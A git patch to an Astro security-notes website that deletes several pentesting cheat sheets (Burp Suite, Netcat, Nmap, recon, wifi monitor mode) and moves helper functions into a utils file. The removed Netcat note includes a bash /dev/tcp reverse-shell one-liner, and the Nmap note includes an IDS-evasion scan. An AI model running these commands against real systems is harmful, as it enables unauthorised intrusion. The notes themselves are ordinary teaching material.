From e3f0fc5735b272ee518cdc579cf4fd638ee2adb5 Mon Sep 17 00:00:00 2001 From: Hadi <112569860+anotherhadi@users.noreply.github.com> Date: Sat, 25 Apr 2026 00:07:18 +0200 Subject: [PATCH] Notes edit and remove tests Signed-off-by: Hadi <112569860+anotherhadi@users.noreply.github.com> --- src/content/notes/burpsuite-basics.md | 39 --------- src/content/notes/netcat.md | 46 ----------- src/content/notes/nmap-basics.md | 109 -------------------------- src/content/notes/nmap.md | 8 ++ src/content/notes/recon-checklist.md | 29 ------- src/content/notes/wifi-recon.md | 44 ----------- src/pages/notes/[...slug].astro | 38 +++++---- src/pages/notes/index.astro | 7 +- src/utils/notes.ts | 13 +++ 9 files changed, 43 insertions(+), 290 deletions(-) delete mode 100644 src/content/notes/burpsuite-basics.md delete mode 100644 src/content/notes/netcat.md delete mode 100644 src/content/notes/nmap-basics.md create mode 100644 src/content/notes/nmap.md delete mode 100644 src/content/notes/recon-checklist.md delete mode 100644 src/content/notes/wifi-recon.md create mode 100644 src/utils/notes.ts diff --git a/src/content/notes/burpsuite-basics.md b/src/content/notes/burpsuite-basics.md deleted file mode 100644 index 8096946..0000000 --- a/src/content/notes/burpsuite-basics.md +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: "Burp Suite - Basics" -description: "Intercept, inspect and modify HTTP traffic with Burp Suite." -category: "Web" -tags: ["burpsuite", "web", "proxy", "http"] -publishDate: 2026-04-24 ---- - -Burp Suite is the standard proxy for web app pentesting. - -## Setup - -1. Launch Burp → Proxy → Options → listener on `127.0.0.1:8080` -2. Configure browser to use proxy `127.0.0.1:8080` -3. Install Burp's CA cert to intercept HTTPS - -## Key Tabs - -| Tab | Use | -|-----|-----| -| Proxy | Intercept and forward requests | -| Repeater | Replay and modify requests manually | -| Intruder | Fuzzing and brute force | -| Scanner | Automated vulnerability scan (Pro) | -| Decoder | Encode/decode data | - -## Useful Shortcuts - -| Shortcut | Action | -|----------|--------| -| `Ctrl+R` | Send to Repeater | -| `Ctrl+I` | Send to Intruder | -| `Ctrl+F` | Forward intercepted request | - -## Intercept a Request - -1. Enable intercept → browse the target -2. Request appears in Proxy tab -3. Modify → Forward diff --git a/src/content/notes/netcat.md b/src/content/notes/netcat.md deleted file mode 100644 index 8c3e043..0000000 --- a/src/content/notes/netcat.md +++ /dev/null @@ -1,46 +0,0 @@ ---- -title: "Netcat - Basics" -description: "The Swiss Army knife of networking — listen, connect, transfer." -category: "Network" -tags: ["netcat", "network", "reverse-shell"] -publishDate: 2026-04-24 ---- - -Netcat (`nc`) opens raw TCP/UDP connections. Pairs well with [Nmap](/notes/nmap-basics) for recon. - -## Listen & Connect - -```bash -# Listen on port 4444 -nc -lvnp 4444 - -# Connect to host -nc 192.168.1.1 4444 -``` - -## File Transfer - -```bash -# Receiver -nc -lvnp 4444 > file.txt - -# Sender -nc 192.168.1.1 4444 < file.txt -``` - -## Reverse Shell - -```bash -# Attacker — listen -nc -lvnp 4444 - -# Victim — connect back -bash -i >& /dev/tcp/10.0.0.1/4444 0>&1 -``` - -## Banner Grabbing - -```bash -nc -nv 192.168.1.1 80 -HEAD / HTTP/1.0 -``` diff --git a/src/content/notes/nmap-basics.md b/src/content/notes/nmap-basics.md deleted file mode 100644 index 46ce97f..0000000 --- a/src/content/notes/nmap-basics.md +++ /dev/null @@ -1,109 +0,0 @@ ---- -title: "Nmap - Basics" -description: "Quick reference for essential Nmap commands for network reconnaissance." -category: "Network" -tags: ["nmap", "recon", "network", "scanning"] -publishDate: 2026-04-24 ---- - -## Introduction - -Nmap (Network Mapper) is the go-to tool for network discovery and security auditing. It lets you scan hosts, detect open services, and identify operating systems. For raw connections and banner grabbing, see [Netcat](/notes/netcat). - -## Installation - -```bash -# Debian/Ubuntu -sudo apt install nmap - -# Arch Linux -sudo pacman -S nmap -``` - -## Core Commands - -### Host Discovery - -```bash -# Ping scan (no port scan) -nmap -sn 192.168.1.0/24 - -# Skip ping (treat host as up) -nmap -Pn 192.168.1.1 -``` - -### Port Scanning - -```bash -# 1000 most common ports (default) -nmap 192.168.1.1 - -# All ports (0–65535) -nmap -p- 192.168.1.1 - -# Specific ports -nmap -p 22,80,443 192.168.1.1 - -# Port range -nmap -p 1-1024 192.168.1.1 -``` - -### Service & OS Detection - -```bash -# Service version detection -nmap -sV 192.168.1.1 - -# OS detection -nmap -O 192.168.1.1 - -# Aggressive scan (OS + version + scripts + traceroute) -nmap -A 192.168.1.1 -``` - -### Scan Types - -| Flag | Type | Description | -|------|------|-------------| -| `-sS` | SYN Scan | Fast and stealthy (requires root) | -| `-sT` | TCP Connect | Full connect, no root needed | -| `-sU` | UDP Scan | For UDP services | -| `-sN` | Null Scan | No TCP flags | -| `-sF` | FIN Scan | FIN flag only | - -### NSE Scripts - -```bash -# Specific script -nmap --script=http-title 192.168.1.1 - -# Script category -nmap --script=vuln 192.168.1.1 - -# Default scripts -nmap -sC 192.168.1.1 -``` - -## Useful Flags - -| Flag | Description | -|------|-------------| -| `-v` / `-vv` | Verbose output | -| `-oN ` | Normal text output | -| `-oX ` | XML output | -| `-oG ` | Grepable output | -| `-T0` to `-T5` | Timing (0=paranoid, 5=insane) | -| `--open` | Show only open ports | - -## Practical Examples - -```bash -# Full network scan -nmap -sV -sC -O -p- 192.168.1.0/24 -oN scan.txt - -# Slow stealthy scan to avoid IDS -nmap -sS -T1 -f 192.168.1.1 - -# UDP scan of common ports -nmap -sU --top-ports 100 192.168.1.1 -``` diff --git a/src/content/notes/nmap.md b/src/content/notes/nmap.md new file mode 100644 index 0000000..50a8805 --- /dev/null +++ b/src/content/notes/nmap.md @@ -0,0 +1,8 @@ +--- +title: "Notes in comming.." +description: "" +tags: [] +publishDate: 2026-04-24 +--- + +## Notes diff --git a/src/content/notes/recon-checklist.md b/src/content/notes/recon-checklist.md deleted file mode 100644 index 654a123..0000000 --- a/src/content/notes/recon-checklist.md +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: "Recon Checklist" -description: "Structured approach to reconnaissance before an engagement." -category: "Methodology" -tags: ["recon", "methodology", "checklist"] -publishDate: 2026-04-24 ---- - -A quick checklist to follow before diving into exploitation. - -## Network - -- [ ] Discover live hosts — [Nmap](/notes/nmap-basics) -- [ ] Identify open ports and services — [Nmap](/notes/nmap-basics) -- [ ] Banner grab with [Netcat](/notes/netcat) -- [ ] Check for wireless networks — [Wifi Recon](/notes/wifi-recon) - -## Web - -- [ ] Spider the target -- [ ] Intercept traffic — [Burp Suite](/notes/burpsuite-basics) -- [ ] Check for common vulns (SQLi, XSS, LFI) -- [ ] Review JS files for endpoints and secrets - -## Notes - -- Document everything as you go -- Screenshot evidence -- Note service versions for CVE lookups diff --git a/src/content/notes/wifi-recon.md b/src/content/notes/wifi-recon.md deleted file mode 100644 index 056af8f..0000000 --- a/src/content/notes/wifi-recon.md +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: "Wifi Recon" -description: "Passive and active reconnaissance on wireless networks." -category: "Wifi" -tags: ["wifi", "recon", "aircrack", "monitor-mode"] -publishDate: 2026-04-24 ---- - -Before attacking a wifi network, map the environment. Combine with [Nmap](/notes/nmap-basics) once connected. - -## Enable Monitor Mode - -```bash -sudo airmon-ng check kill -sudo airmon-ng start wlan0 -# Interface becomes wlan0mon -``` - -## Scan Networks - -```bash -# Passive scan — all channels -sudo airodump-ng wlan0mon - -# Target a specific AP -sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon -``` - -## Key Fields - -| Field | Description | -|-------|-------------| -| BSSID | AP MAC address | -| PWR | Signal strength | -| #Data | Data frames (useful for WEP) | -| ENC | Encryption type | -| ESSID | Network name | - -## Disable Monitor Mode - -```bash -sudo airmon-ng stop wlan0mon -sudo systemctl restart NetworkManager -``` diff --git a/src/pages/notes/[...slug].astro b/src/pages/notes/[...slug].astro index 5031b25..8ab5d6a 100644 --- a/src/pages/notes/[...slug].astro +++ b/src/pages/notes/[...slug].astro @@ -3,6 +3,7 @@ import { getCollection, render } from "astro:content"; import Layout from "../../layouts/Layout.astro"; import { Shield, ChevronLeft, List, PanelRight } from "@lucide/astro"; import Author from "../../components/Author.astro"; +import { getCategory, extractInlineHashtags } from "../../utils/notes"; export async function getStaticPaths() { const notes = await getCollection("notes"); @@ -17,12 +18,6 @@ const { Content } = await render(entry); const allNotes = await getCollection("notes"); const sortedNotes = allNotes.sort((a, b) => a.data.title.localeCompare(b.data.title)); -function getCategory(n: { id: string; data: { category?: string } }): string { - if (n.data.category) return n.data.category; - const parts = n.id.split("/"); - return parts.length > 1 ? parts[0] : "General"; -} - const categories = [...new Set(allNotes.map(getCategory))].sort(); function formatDate(date: Date) { @@ -30,7 +25,8 @@ function formatDate(date: Date) { } function extractLinks(body: string): string[] { - const re = /\(\/notes\/([^)#\s]+)\)/g; + // Capture slug before optional #fragment: (/notes/slug) or (/notes/slug#section) + const re = /\(\/notes\/([^)#\s]+)(?:#[^)\s]*)?\)/g; const ids: string[] = []; let m; while ((m = re.exec(body)) !== null) ids.push(m[1]); @@ -57,22 +53,28 @@ const graphEdges = [ ...backlinks.map((n) => ({ from: n.id, to: entry.id })), ]; -function extractInlineHashtags(body: string): string[] { - const re = /#(\w+)/g; - const tags: string[] = []; - let m; - while ((m = re.exec(body)) !== null) tags.push(m[1].toLowerCase()); - return [...new Set(tags)]; +// Mirrors github-slugger exactly: keeps _, keeps unicode letters/numbers, spaces → hyphens +function slugify(text: string) { + return text + .toLowerCase() + .replace(/[^\p{L}\p{N}\s_-]/gu, "") // keep letters (unicode), numbers, spaces, _, - + .trim() + .replace(/ +/g, "-"); // spaces → hyphens (github-slugger does exactly this) } -function slugify(text: string) { - return text.toLowerCase().replace(/`[^`]*`/g, "").replace(/[^\w\s-]/g, "").trim().replace(/[\s_]+/g, "-"); -} const headings: { depth: number; text: string; id: string }[] = []; const headingRe = /^(#{2,4}) (.+)$/gm; let hm; while ((hm = headingRe.exec(entry.body ?? "")) !== null) { - const raw = hm[2].trim().replace(/\*\*|__|\*|_|`/g, ""); + // Strip markdown formatting while preserving literal _ (word-internal underscores like my_var) + // Paired markers are stripped to their content; lone * are removed; _ only stripped at word boundaries + const raw = hm[2].trim() + .replace(/`[^`]*`/g, "") // `code` → remove + .replace(/\*\*(.*?)\*\*/g, "$1") // **bold** → text + .replace(/(? {graphNodes.length <= 1 && ( diff --git a/src/pages/notes/index.astro b/src/pages/notes/index.astro index c47baea..d6526fd 100644 --- a/src/pages/notes/index.astro +++ b/src/pages/notes/index.astro @@ -2,18 +2,13 @@ import Layout from "../../layouts/Layout.astro"; import { getCollection } from "astro:content"; import { ChevronRight, Shield } from "@lucide/astro"; +import { getCategory } from "../../utils/notes"; const notes = await getCollection("notes"); const sortedNotes = notes.sort( (a, b) => b.data.publishDate.getTime() - a.data.publishDate.getTime() ); -function getCategory(n: { id: string; data: { category?: string } }): string { - if (n.data.category) return n.data.category; - const parts = n.id.split("/"); - return parts.length > 1 ? parts[0] : "General"; -} - const categories = [...new Set(notes.map(getCategory))].sort(); const searchIndex = Object.fromEntries( diff --git a/src/utils/notes.ts b/src/utils/notes.ts new file mode 100644 index 0000000..0173517 --- /dev/null +++ b/src/utils/notes.ts @@ -0,0 +1,13 @@ +export function getCategory(n: { id: string; data: { category?: string } }): string { + if (n.data.category) return n.data.category; + const parts = n.id.split("/"); + return parts.length > 1 ? parts[0] : "General"; +} + +export function extractInlineHashtags(body: string): string[] { + const re = /#(\w+)/g; + const tags: string[] = []; + let m; + while ((m = re.exec(body)) !== null) tags.push(m[1].toLowerCase()); + return [...new Set(tags)]; +}